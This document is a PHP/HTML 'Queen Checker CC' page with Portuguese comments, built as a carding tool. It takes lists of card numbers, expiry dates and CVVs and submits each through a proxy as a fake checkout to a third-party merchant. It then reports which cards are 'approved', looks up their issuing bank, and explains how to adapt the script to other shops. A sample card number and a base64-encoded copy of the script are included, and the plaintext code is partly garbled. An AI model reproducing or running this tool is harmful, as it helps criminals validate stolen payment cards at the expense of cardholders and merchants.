<html>5201105728455471|08|2021|126
<head>
<title>Queen Checker CC</title>
<link href="http://d...content-available-to-author-only...b.io/Flat-UI/dist/css/vendor/bootstrap.min.css" rel="stylesheet">
<link href="http://d...content-available-to-author-only...b.io/Flat-UI/dist/css/flat-ui.min.css" rel="stylesheet">
<link href="http://d...content-available-to-author-only...b.io/Flat-UI/docs/assets/css/demo.css" rel="stylesheet">
<link rel="stylesheet" href="https://m...content-available-to-author-only...n.com/bootstrap/3.3.5/css/bootstrap.min.css">
<link rel="stylesheet" href="https://m...content-available-to-author-only...n.com/bootstrap/3.3.5/css/bootstrap-theme.min.css">
<script src="https://m...content-available-to-author-only...n.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
<meta charset="UTF-8">
</head>
<style>
body {
background-color: #00001a;
}
</style>
<body>
<center>
<div class="demo-headline">
<h1 class="demo-logo">Testador De Infocc
<small>Free Testador De Geradas Ou Full!</small>
</h1>
</div>
<form name="frm-CardCheck" method="post">
<div class="form-group has-success">
<b>
<textarea name="CARDLIS" cols="85" class="form-control" style="width:850px" rows="6" placeholder="4093081909142000|07|2021|836 - Delimitadores : | ; / "></textarea>
</b>
</div>
<div class="form-group">
<input name="proxp" placeholder="Proxy HTTPS:Porta" style="width:200px" class="form-control" type="text">
</div>
<input type="submit" class="btn btn-block btn-lg btn-info" value="CHECAR" style="width:350px">
</form>
<script>
function scrollWindow()
{
window.scrollTo(100,500)
}
</script>
<?php
$_POST [ 'proxp' ] ;
$proxie = $_POST [ 'proxp' ] ;
if ( isset ( $_POST [ 'CARDLIS' ] ) ) { $SetParamList = trim ( $_POST [ 'CARDLIS' ] ) ; $SetParamList = split ( "\n " , $SetParamList ) ; $SetParamCount = count ( $SetParamList ) ; for ( $setParamUX = 0 ; $setParamUX < $SetParamCount ; $setParamUX ++ ) {
list ( $card , $mes , $ano , $cvv , $resto ) = split ( "[:|;/]" , $SetParamList [ $setParamUX ] ) ; $setParamFunction = CardCheck( $card , $mes , $ano , $cvv ) ;
print $setParamFunction ;
}
print "<br> <div style='width: 40%;' class='alert alert-info'>Foram testados <strong>{$SetParamCount} </strong> cartões!</div><script>scrollWindow()</script><audio autoplay><source src='https://i...content-available-to-author-only...d.io/kam/download' type='audio/mp3'></audio><title>Teste Finalizado</title>" ;
}
function CardCheck( $card , $mes , $ano , $cvv ) {
}
}
switch ( substr ( $card , 0 , 1 ) ) { case '4' :
$typeCard = 1 ;
$typeName = "Visa" ;
break ;
case '5' :
$typeCard = 2 ;
$typeName = "MasterCard" ;
break ;
case '3' :
$typeCard = 3 ;
$typeName = "American Express" ;
break ;
case '60' :
$typeCard = 60 ;
$typeName = "Discover" ;
break ;
}
/*/
switch ($mes) {
case '01':
$mes = '1';
break;
case '02':
$mes = '2';
break;
case '03':
$mes = '3';
break;
case '04':
$mes = '4';
break;
case '05':
$mes = '5';
break;
case '06':
$mes = '6';
break;
case '07':
$mes = '7';
break;
case '08':
$mes = '8';
break;
case '09':
$mes = '9';
break;
}
/*/
curl_setopt ( $ch , CURLOPT_URL
, "https://p...content-available-to-author-only...t.com/checkout" ) ; // aqui voce poe a url que ele vai ser postado, n é a url do site é a url onde vai ser postado, o tamper data quando voce envia a doaçao ele ja te mostra o link no qual o site fez o post... $User_Agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0' ;
$request_headers = array ( ) ; $request_headers [ ] = 'Host: pittman.foxycart.com' ;
$request_headers [ ] = 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0' ;
$request_headers [ ] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' ;
$request_headers [ ] = 'Referer: https://p...content-available-to-author-only...t.com/checkout' ;
curl_setopt ( $ch , CURLOPT_HTTPHEADER
, $request_headers ) ; curl_setopt ( $ch , CURLOPT_POSTFIELDS
, "fcsid=&email_dummy=&password_dummy=&ThisAction=checkout&customer_id=0&fcsid=459rrnpul1srsg0g57q42g5pm0&is_anonymous=1&anonymous_checkout_selected=0&email_is_found=0&customer_email=dsfgdg%40d lemail.ru&billing_first_name=pedro&billing_last_name=jose&billing_company=&billing_phone=&billing_tax_id=&billing_address1=limeiras&billing_address2=&billing_postal_code=19568&billing_city=sao+paulo&billing_region=AF&billing_country=US&fc_payment_method=plastic_new&cc_number=$card &cc_exp_month=$mes &cc_exp_year=$ano &cc_cvv2=$cvv " ) ; // aqui é o post data, onde tiver o cartao voce muda pra $card , onde tiver o mes voce poe $mes, onde tiver o ano voce poe $ano, onde tiver o cvc, ou cvv coloque $cvv. if ( $data ) {
curl_setopt ( $curl_ch , CURLOPT_URL
, "http://t...content-available-to-author-only...y.com/webtools/tool/othertool/bin/" ) ; curl_setopt ( $curl_ch , CURLOPT_USERAGENT
, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0" ) ; curl_setopt ( $curl_ch , CURLOPT_POSTFIELDS
, 'listcc=' . $card . '&submit=CHECK+NOW' ) ; $expl = explode ( '</td>' , $dadosSite ) ; $Banco = $expl [ 5 ] ;
$Tipo = $expl [ 6 ] ;
$Pais = $expl [ 7 ] ;
$quatro = $expl [ 8 ] ;
$sship = @ getenv ( 'REMOTE_ADDR' ) ; if ( $Tipo == "" ) { $bandeira = "N/A" ; }
if ( $Banco == "" ) { $type = "N/A" ; }
if ( $Pais == "" ) { $credit = "N/A" ; }
//echo $data;
if ( stristr ( $data , 'This transaction has been declined' ) !== false ) { echo "<div class='alert alert-danger' style='width: 90%;'><b style='color:gray'>La Firma Checker Die ✘ </b> | {$card} | {$mes} | {$ano} | {$cvv} |</b> #Queenchecker.com</div><script>scrollWindow()</script>" ;
} elseif ( ! stristr ( $data , 'This transaction has been declined' ) !== false ) { echo "<div class='alert alert-success' style='width: 90%;'><b style='color:gray'>#Aprovada </b> <b style='color:green'> | {$card} | {$mes} | {$ano} | {$cvv} | Informações ➜ {$Tipo} | {$Banco} | {$Pais} |</b> #Queenchecker.com</div><script>scrollWindow()</script><audio autoplay><source src='https://i...content-available-to-author-only...d.io/k8A/download' type='audio/mp3'></audio>" ;
}
}
}
?>
</center>
</body>
</html>
PGh0bWw+NTIwMTEwNTcyODQ1NTQ3MXwwOHwyMDIxfDEyNgo8aGVhZD4KPHRpdGxlPlF1ZWVuIENoZWNrZXIgQ0M8L3RpdGxlPgo8bGluayBocmVmPSJodHRwOi8vZC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uYi5pby9GbGF0LVVJL2Rpc3QvY3NzL3ZlbmRvci9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KPGxpbmsgaHJlZj0iaHR0cDovL2QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmIuaW8vRmxhdC1VSS9kaXN0L2Nzcy9mbGF0LXVpLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CjxsaW5rIGhyZWY9Imh0dHA6Ly9kLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5iLmlvL0ZsYXQtVUkvZG9jcy9hc3NldHMvY3NzL2RlbW8uY3NzIiByZWw9InN0eWxlc2hlZXQiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vbS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubi5jb20vYm9vdHN0cmFwLzMuMy41L2Nzcy9ib290c3RyYXAubWluLmNzcyI+ICAKPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL20uLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm4uY29tL2Jvb3RzdHJhcC8zLjMuNS9jc3MvYm9vdHN0cmFwLXRoZW1lLm1pbi5jc3MiPgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9tLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5uLmNvbS9ib290c3RyYXAvMy4zLjUvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+ICAKPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8L2hlYWQ+CjxzdHlsZT4KYm9keSB7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDFhOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8Y2VudGVyPiAgCjxkaXYgY2xhc3M9ImRlbW8taGVhZGxpbmUiPgo8aDEgY2xhc3M9ImRlbW8tbG9nbyI+VGVzdGFkb3IgRGUgSW5mb2NjCjxzbWFsbD5GcmVlIFRlc3RhZG9yIERlIEdlcmFkYXMgT3UgRnVsbCE8L3NtYWxsPgo8L2gxPgo8L2Rpdj4KPGZvcm0gbmFtZT0iZnJtLUNhcmRDaGVjayIgbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBoYXMtc3VjY2VzcyI+CjxiPgo8dGV4dGFyZWEgbmFtZT0iQ0FSRExJUyIgY29scz0iODUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJ3aWR0aDo4NTBweCIgcm93cz0iNiIgcGxhY2Vob2xkZXI9IjQwOTMwODE5MDkxNDIwMDB8MDd8MjAyMXw4MzYgIC0gRGVsaW1pdGFkb3JlcyA6IHwgOyAvICI+PC90ZXh0YXJlYT4KPC9iPgo8L2Rpdj4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CjxpbnB1dCBuYW1lPSJwcm94cCIgcGxhY2Vob2xkZXI9IlByb3h5IEhUVFBTOlBvcnRhIiBzdHlsZT0id2lkdGg6MjAwcHgiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiPgo8L2Rpdj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIGNsYXNzPSJidG4gYnRuLWJsb2NrIGJ0bi1sZyBidG4taW5mbyIgdmFsdWU9IkNIRUNBUiIgc3R5bGU9IndpZHRoOjM1MHB4Ij4KPC9mb3JtPgo8c2NyaXB0PgpmdW5jdGlvbiBzY3JvbGxXaW5kb3coKQogIHsKICB3aW5kb3cuc2Nyb2xsVG8oMTAwLDUwMCkKICB9Cjwvc2NyaXB0Pgo8P3BocAplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwokX1BPU1RbJ3Byb3hwJ107CiRwcm94aWUgPSAkX1BPU1RbJ3Byb3hwJ107CmlmKGlzc2V0KCRfUE9TVFsnQ0FSRExJUyddKSl7CiAgICAkU2V0UGFyYW1MaXN0ID0gdHJpbSgkX1BPU1RbJ0NBUkRMSVMnXSk7CiAgICBmbHVzaCgpOyBvYl9mbHVzaCgpOwogICAgJFNldFBhcmFtTGlzdCA9IHNwbGl0KCJcbiIsICRTZXRQYXJhbUxpc3QpOwogICAgJFNldFBhcmFtQ291bnQgPSAgY291bnQoJFNldFBhcmFtTGlzdCk7CiAgICBmbHVzaCgpOyBvYl9mbHVzaCgpOwogICAgZm9yKCRzZXRQYXJhbVVYID0gMDsgJHNldFBhcmFtVVggPCAkU2V0UGFyYW1Db3VudDsgJHNldFBhcmFtVVgrKykgewogICAgICAgICRTZXRQYXJhbUxpc3QgPSBzdHJfcmVwbGFjZSgiICIsICAiIiwgJFNldFBhcmFtTGlzdCk7CiAgICAgICAgJFNldFBhcmFtTGlzdCA9IHN0cl9yZXBsYWNlKCJcciIsICIiLCAkU2V0UGFyYW1MaXN0KTsKICAgICAgICAkU2V0UGFyYW1MaXN0ID0gc3RyX3JlcGxhY2UoIlxuIiwgIiIsICRTZXRQYXJhbUxpc3QpOwogICAgICAgIGxpc3QoJGNhcmQsICRtZXMsICRhbm8sICRjdnYsICRyZXN0bykgPSBzcGxpdCgiWzp8Oy9dIiwgJFNldFBhcmFtTGlzdFskc2V0UGFyYW1VWF0pOwogICAgICAgIGZsdXNoKCk7IG9iX2ZsdXNoKCk7CgkJc2xlZXAoOCk7CiAgICAgICAgJHNldFBhcmFtRnVuY3Rpb24gPSBDYXJkQ2hlY2soJGNhcmQsICRtZXMsICRhbm8sICRjdnYpOwogICAgICAgIHByaW50ICRzZXRQYXJhbUZ1bmN0aW9uOwoJCX0KCQkgcHJpbnQgIjxicj4gPGRpdiBzdHlsZT0nd2lkdGg6IDQwJTsnIGNsYXNzPSdhbGVydCBhbGVydC1pbmZvJz5Gb3JhbSB0ZXN0YWRvcyA8c3Ryb25nPnskU2V0UGFyYW1Db3VudH08L3N0cm9uZz4gY2FydMO1ZXMhPC9kaXY+PHNjcmlwdD5zY3JvbGxXaW5kb3coKTwvc2NyaXB0PjxhdWRpbyBhdXRvcGxheT48c291cmNlIHNyYz0naHR0cHM6Ly9pLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5kLmlvL2thbS9kb3dubG9hZCcgdHlwZT0nYXVkaW8vbXAzJz48L2F1ZGlvPjx0aXRsZT5UZXN0ZSBGaW5hbGl6YWRvPC90aXRsZT4iOwogICAgfQpmdW5jdGlvbiBDYXJkQ2hlY2soJGNhcmQsICRtZXMsICRhbm8sICRjdnYpIHsKCQogICAgaWYoZmlsZV9leGlzdHMoZ2V0Y3dkKCkuJ0NhcmRDaGVja19sb2dzLnR4dCcpKSB7CiAgICAgICAgdW5saW5rKGdldGN3ZCgpLidDYXJkQ2hlY2tfbG9ncy50eHQnKTsgCiAgICB9CiAgICAgaWYoZmlsZV9leGlzdHMoImNvb2tpZS50eHQiKSl7CiAgICAgIHVubGluaygiY29va2llLnR4dCIpOwogICAgfSAKc3dpdGNoIChzdWJzdHIoJGNhcmQsIDAsIDEpKSB7CiAgICAgICAgY2FzZSAnNCc6CiAgICAgICAgJHR5cGVDYXJkID0gMTsKICAgICAgICAkdHlwZU5hbWUgPSAiVmlzYSI7CiAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnNSc6CiAgICAgICAgJHR5cGVDYXJkID0gMjsKICAgICAgICAkdHlwZU5hbWUgPSAiTWFzdGVyQ2FyZCI7CgkJYnJlYWs7CgkJY2FzZSAnMyc6CgkJJHR5cGVDYXJkID0gMzsKCQkkdHlwZU5hbWUgPSAiQW1lcmljYW4gRXhwcmVzcyI7CiAgICAgICAgYnJlYWs7CgkJY2FzZSAnNjAnOgoJCSR0eXBlQ2FyZCA9IDYwOwoJCSR0eXBlTmFtZSA9ICJEaXNjb3ZlciI7CgkJYnJlYWs7CiAgICB9CgkvKi8KCXN3aXRjaCAoJG1lcykgewogICAgICAgICBjYXNlICcwMSc6CiAgICAgICAgICRtZXMgPSAnMSc7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwMic6CiAgICAgICAgICRtZXMgPSAnMic7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwMyc6CiAgICAgICAgICRtZXMgPSAnMyc7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwNCc6CiAgICAgICAgICRtZXMgPSAnNCc7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwNSc6CiAgICAgICAgICRtZXMgPSAnNSc7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwNic6CiAgICAgICAgICRtZXMgPSAnNic7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwNyc6CiAgICAgICAgICRtZXMgPSAnNyc7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwOCc6CiAgICAgICAgICRtZXMgPSAnOCc7CiAgICAgICAgIGJyZWFrOwogICAgICAgICBjYXNlICcwOSc6CiAgICAgICAgICRtZXMgPSAnOSc7CiAgICAgICAgIGJyZWFrOwogICAgfSAKCS8qLwogICAkY2ggPSBjdXJsX2luaXQoKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHBzOi8vcC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4udC5jb20vY2hlY2tvdXQiKTsgLy8gYXF1aSB2b2NlIHBvZSBhIHVybCBxdWUgZWxlIHZhaSBzZXIgcG9zdGFkbywgbiDDqSBhIHVybCBkbyBzaXRlIMOpIGEgdXJsIG9uZGUgdmFpIHNlciBwb3N0YWRvLCBvIHRhbXBlciBkYXRhIHF1YW5kbyB2b2NlIGVudmlhIGEgZG9hw6dhbyBlbGUgamEgdGUgbW9zdHJhIG8gbGluayBubyBxdWFsIG8gc2l0ZSBmZXogbyBwb3N0Li4uCgkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOwoJCQkkVXNlcl9BZ2VudCA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBydjo0My4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQzLjAnOwoJCQkkcmVxdWVzdF9oZWFkZXJzID0gYXJyYXkoKTsKCQkJJHJlcXVlc3RfaGVhZGVyc1tdID0gJ0hvc3Q6IHBpdHRtYW4uZm94eWNhcnQuY29tJzsKCQkJJHJlcXVlc3RfaGVhZGVyc1tdID0gJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjQzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDMuMCc7CgkJCSRyZXF1ZXN0X2hlYWRlcnNbXSA9ICdBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOCc7CgkJCSRyZXF1ZXN0X2hlYWRlcnNbXSA9ICdSZWZlcmVyOiBodHRwczovL3AuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnQuY29tL2NoZWNrb3V0JzsKCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BST1hZLCAkcHJveGllKTsKCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsICRyZXF1ZXN0X2hlYWRlcnMpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7IAogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgImZjc2lkPSZlbWFpbF9kdW1teT0mcGFzc3dvcmRfZHVtbXk9JlRoaXNBY3Rpb249Y2hlY2tvdXQmY3VzdG9tZXJfaWQ9MCZmY3NpZD00NTlycm5wdWwxc3JzZzBnNTdxNDJnNXBtMCZpc19hbm9ueW1vdXM9MSZhbm9ueW1vdXNfY2hlY2tvdXRfc2VsZWN0ZWQ9MCZlbWFpbF9pc19mb3VuZD0wJmN1c3RvbWVyX2VtYWlsPWRzZmdkZyU0MGRsZW1haWwucnUmYmlsbGluZ19maXJzdF9uYW1lPXBlZHJvJmJpbGxpbmdfbGFzdF9uYW1lPWpvc2UmYmlsbGluZ19jb21wYW55PSZiaWxsaW5nX3Bob25lPSZiaWxsaW5nX3RheF9pZD0mYmlsbGluZ19hZGRyZXNzMT1saW1laXJhcyZiaWxsaW5nX2FkZHJlc3MyPSZiaWxsaW5nX3Bvc3RhbF9jb2RlPTE5NTY4JmJpbGxpbmdfY2l0eT1zYW8rcGF1bG8mYmlsbGluZ19yZWdpb249QUYmYmlsbGluZ19jb3VudHJ5PVVTJmZjX3BheW1lbnRfbWV0aG9kPXBsYXN0aWNfbmV3JmNjX251bWJlcj0kY2FyZCZjY19leHBfbW9udGg9JG1lcyZjY19leHBfeWVhcj0kYW5vJmNjX2N2djI9JGN2diIpOyAvLyBhcXVpIMOpIG8gcG9zdCBkYXRhLCBvbmRlIHRpdmVyIG8gY2FydGFvIHZvY2UgbXVkYSBwcmEgJGNhcmQgLCBvbmRlIHRpdmVyIG8gbWVzIHZvY2UgcG9lICRtZXMsIG9uZGUgdGl2ZXIgbyBhbm8gdm9jZSBwb2UgJGFubywgb25kZSB0aXZlciBvIGN2Yywgb3UgY3Z2IGNvbG9xdWUgJGN2di4KCSAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOwogICAgaWYoJGRhdGEpewoJJGNjID0gIHN1YnN0cigkY2FyZCwwLDYpOwogICAgJGN1cmxfY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjdXJsX2NoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi55LmNvbS93ZWJ0b29scy90b29sL290aGVydG9vbC9iaW4vIik7CiAgICBjdXJsX3NldG9wdCgkY3VybF9jaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY3VybF9jaCwgQ1VSTE9QVF9QT1NULCBUUlVFKTsKICAgIGN1cmxfc2V0b3B0KCRjdXJsX2NoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsKICAgIGN1cmxfc2V0b3B0KCRjdXJsX2NoLCBDVVJMT1BUX1VTRVJBR0VOVCwgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0OyBydjo0Mi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQyLjAiKTsKICAgIGN1cmxfc2V0b3B0KCRjdXJsX2NoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICdsaXN0Y2M9Jy4kY2FyZC4nJnN1Ym1pdD1DSEVDSytOT1cnKTsKICAgICRkYWRvc1NpdGUgPSBjdXJsX2V4ZWMoJGN1cmxfY2gpOyAgCiAgICAkZXhwbCA9IGV4cGxvZGUoJzwvdGQ+JywgJGRhZG9zU2l0ZSk7ICAKICAgICRCYW5jbyA9ICRleHBsWzVdOyAgCiAgICAkVGlwbyA9ICRleHBsWzZdOyAKICAgICRQYWlzID0gJGV4cGxbN107IAogICAgJHF1YXRybyA9ICRleHBsWzhdOyAKCSRzc2hkaWEgID0gZGF0ZSgnZC9tL3knKTsgCiAgICAkc3NoaG9yYSA9IGRhdGUoJ0g6aScpOyAKICAgICRzc2hpcCAgID0gQGdldGVudignUkVNT1RFX0FERFInKTsgCiAgICAkc3NocmV2ZXJzID0gQGdldGhvc3RieWFkZHIoJGlwKTsKICAgIGlmKCRUaXBvID09ICIiKXsgJGJhbmRlaXJhID0gIk4vQSI7IH0KICAgIGlmKCRCYW5jbyA9PSAiIil7ICR0eXBlID0gIk4vQSI7IH0KICAgIGlmKCRQYWlzID09ICIiKXsgJGNyZWRpdCA9ICJOL0EiOyB9CgkvL2VjaG8gJGRhdGE7CiAgICBpZihzdHJpc3RyKCRkYXRhLCdUaGlzIHRyYW5zYWN0aW9uIGhhcyBiZWVuIGRlY2xpbmVkJykgIT09IGZhbHNlKXsKCQllY2hvICI8ZGl2IGNsYXNzPSdhbGVydCBhbGVydC1kYW5nZXInIHN0eWxlPSd3aWR0aDogOTAlOyc+PGIgc3R5bGU9J2NvbG9yOmdyYXknPkxhIEZpcm1hIENoZWNrZXIgRGllIOKcmCA8L2I+ICB8IHskY2FyZH0gfCB7JG1lc30gfCB7JGFub30gfCB7JGN2dn0gfDwvYj4gI1F1ZWVuY2hlY2tlci5jb208L2Rpdj48c2NyaXB0PnNjcm9sbFdpbmRvdygpPC9zY3JpcHQ+IjsgIAoJdW5zZXQoJGN1cmxfY2gpOwoJfWVsc2VpZighc3RyaXN0cigkZGF0YSwgJ1RoaXMgdHJhbnNhY3Rpb24gaGFzIGJlZW4gZGVjbGluZWQnKSAhPT0gZmFsc2UpewoJCWVjaG8gIjxkaXYgY2xhc3M9J2FsZXJ0IGFsZXJ0LXN1Y2Nlc3MnIHN0eWxlPSd3aWR0aDogOTAlOyc+PGIgc3R5bGU9J2NvbG9yOmdyYXknPiNBcHJvdmFkYSA8L2I+IDxiIHN0eWxlPSdjb2xvcjpncmVlbic+IHwgeyRjYXJkfSB8IHskbWVzfSB8IHskYW5vfSB8IHskY3Z2fSB8IEluZm9ybWHDp8O1ZXMg4p6cIHskVGlwb30gfCB7JEJhbmNvfSB8IHskUGFpc30gfDwvYj4gI1F1ZWVuY2hlY2tlci5jb208L2Rpdj48c2NyaXB0PnNjcm9sbFdpbmRvdygpPC9zY3JpcHQ+PGF1ZGlvIGF1dG9wbGF5Pjxzb3VyY2Ugc3JjPSdodHRwczovL2kuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmQuaW8vazhBL2Rvd25sb2FkJyB0eXBlPSdhdWRpby9tcDMnPjwvYXVkaW8+IjsKCXVuc2V0KCRjdXJsX2NoKTsKCX0KCX0KICAgIH0KPz4KPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPg==